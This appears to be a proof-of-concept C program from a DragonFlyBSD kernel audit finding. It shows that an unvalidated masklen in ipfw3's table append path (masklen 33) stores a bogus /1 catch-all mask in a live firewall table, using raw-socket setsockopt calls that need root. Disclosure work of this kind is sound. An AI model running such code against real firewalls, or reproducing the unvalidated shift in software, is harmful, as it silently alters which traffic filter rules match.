⬢ DragonFlyBSD Kernel Audit
DF-2582 / ipfw3_masklen.c
← back to finding ↓ download raw
/* DF-2582: table_append_dispatch (ip_fw3_table.c:161-164) computes
 *
 *     mask = htonl(~((1 << (32 - mlen)) - 1));
 *
 * with the user-supplied masklen completely unvalidated (root-gated raw
 * socket).  mlen==0 makes 1<<32, mlen>32 makes the shift count negative
 * (both UB); on x86 the count masks to 5 bits so a crafted masklen stores
 * an attacker-chosen WRONG mask.  Behavioral proof, all in table 12:
 *   - empty table: 1.2.3.4 not found
 *   - append 10.1.2.0/24: 10.1.2.9 found, 10.9.9.9 not found (honest)
 *   - append 11.0.0.5/33: stored key becomes 0.0.0.0/1 (count -1 & 31 = 31
 *     -> mask 0x80000000), so 99.0.0.1 (top bit 0) is now FOUND while
 *     200.1.1.1 (top bit 1) is not: the bogus /1 catch-all is live in the
 *     datapath tree.  rc==0 means found, rc==-1 not found. */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>

#define IP_FW_X 49
#define OP_CREATE 73
#define OP_APPEND 75
#define OP_TEST 80

struct xh { uint16_t opcode; uint16_t pad; };
struct ient { in_addr_t addr; u_int8_t masklen; };
struct itbl { int id; int type; int count; char name[32]; struct ient ent[4]; };

static int s;

static int op(uint16_t opcode, int id, in_addr_t a, uint8_t ml)
{
	struct { struct xh h; struct itbl t; } m;
	memset(&m, 0, sizeof(m));
	m.h.opcode = opcode;
	m.t.id = id; m.t.type = 1;
	m.t.ent[0].addr = a; m.t.ent[0].masklen = ml;
	return setsockopt(s, IPPROTO_IP, IP_FW_X, &m, sizeof(m));
}

static void t(const char *ip)
{
	int rc = op(OP_TEST, 12, inet_addr(ip), 0);
	printf("    test %-10s -> rc=%d  (%s)\n", ip, rc,
	    rc == 0 ? "FOUND in table" : "not found");
}

int main(void)
{
	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { printf("[-] raw socket: %s (root only)\n", strerror(errno)); return 1; }

	printf("[*] create table 12: rc=%d\n", op(OP_CREATE, 12, 0, 0));
	printf("[*] empty table:\n");
	t("1.2.3.4");

	printf("[*] append 10.1.2.0/24: rc=%d\n",
	    op(OP_APPEND, 12, inet_addr("10.1.2.0"), 24));
	t("10.1.2.9");
	t("10.9.9.9");

	printf("[*] append 11.0.0.5/33 (masklen>32, unvalidated): rc=%d  <-- ACCEPTED\n",
	    op(OP_APPEND, 12, inet_addr("11.0.0.5"), 33));
	t("99.0.0.1");
	t("200.1.1.1");

	printf("[*] after /33: 99.0.0.1 matches (stored as 0.0.0.0/1 catch-all)\n");
	printf("    while 200.1.1.1 does not -- the unbounded shift stored the\n");
	printf("    wrong mask and it is live in the lookup tree.\n");
	return 0;
}